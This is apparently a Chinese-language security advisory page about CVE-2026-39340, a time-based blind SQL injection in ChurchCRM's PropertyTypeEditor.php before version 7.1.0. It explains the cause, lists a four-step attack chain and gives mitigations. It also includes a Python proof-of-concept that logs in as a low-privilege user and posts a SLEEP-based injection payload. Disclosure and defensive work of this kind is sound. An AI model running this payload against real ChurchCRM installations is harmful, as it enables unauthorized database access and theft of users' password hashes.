IPBUF安全漏洞报告
English
CVE-2026-39340 CVSS 8.1 高危

ChurchCRM SQL注入漏洞CVE-2026-39340

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39340
漏洞类型
SQL注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

SQL注入ChurchCRM时间盲注高危CVE-2026-39340

漏洞概述

ChurchCRM 7.1.0之前的版本中存在SQL注入漏洞。由于在PropertyTypeEditor.php中将legacyFilterInput替换为仅过滤HTML的sanitizeText,导致用户输入未经过SQL转义直接拼接到查询中。拥有MenuOptions角色的低权限认证用户可利用该漏洞进行时间盲注,窃取数据库敏感数据。

技术细节

该漏洞源于ChurchCRM在PropertyTypeEditor.php中对用户输入的处理不当。系统将原本同时具备HTML过滤和SQL转义功能的legacyFilterInput()函数替换为仅过滤HTML的sanitizeText()函数。在处理属性类型的“名称”和“描述”字段时,应用程序直接将用户提供的值拼接到原始的INSERT和UPDATE SQL语句中,未进行任何SQL转义。这导致具有MenuOptions角色的低权限攻击者可以通过构造恶意SQL payload,利用基于时间的盲注技术执行任意SQL命令,进而窃取数据库中的所有用户密码哈希等敏感信息。

攻击链分析

STEP 1
1. 获取低权限账号
攻击者注册或获取一个具有MenuOptions角色的低权限账号,该角色允许访问属性类型管理功能。
STEP 2
2. 访问漏洞接口
攻击者登录系统,导航至People -> Person Properties或Family Properties管理页面,触发PropertyTypeEditor.php。
STEP 3
3. 构造恶意Payload
在属性类型的Name或Description输入框中注入基于时间的盲注Payload(如SLEEP(5)),绕过缺失的SQL转义。
STEP 4
4. 数据窃取
通过观察响应时间确认注入点后,利用布尔盲注或时间盲注技术逐字节提取数据库中的用户密码哈希等敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-churchcrm.com/PropertyTypeEditor.php" session = requests.Session() # 1. Authenticate as a user with 'MenuOptions' role login_data = { "User": "attacker", "Password": "password123" } session.post("http://target-churchcrm.com/login", data=login_data) # 2. Exploit SQL Injection via PropertyTypeEditor (Update/Insert) # The vulnerability is in the 'Name' or 'Description' fields. # Payload for Time-Based Blind SQL Injection sqli_payload = "test' OR (SELECT SLEEP(5))-- -" post_data = { "TypeID": "1", # ID for UPDATE, or empty for INSERT "Name": sqli_payload, "Description": "Exfiltration attempt" } response = session.post(target_url, data=post_data) # 3. Verify based on response time if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Database delayed response.") else: print("[-] Vulnerability not detected or payload failed.")

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施
如果无法立即升级,建议严格限制拥有MenuOptions角色的用户数量,并部署Web应用防火墙(WAF)以检测和拦截针对PropertyTypeEditor.php的SQL注入攻击请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表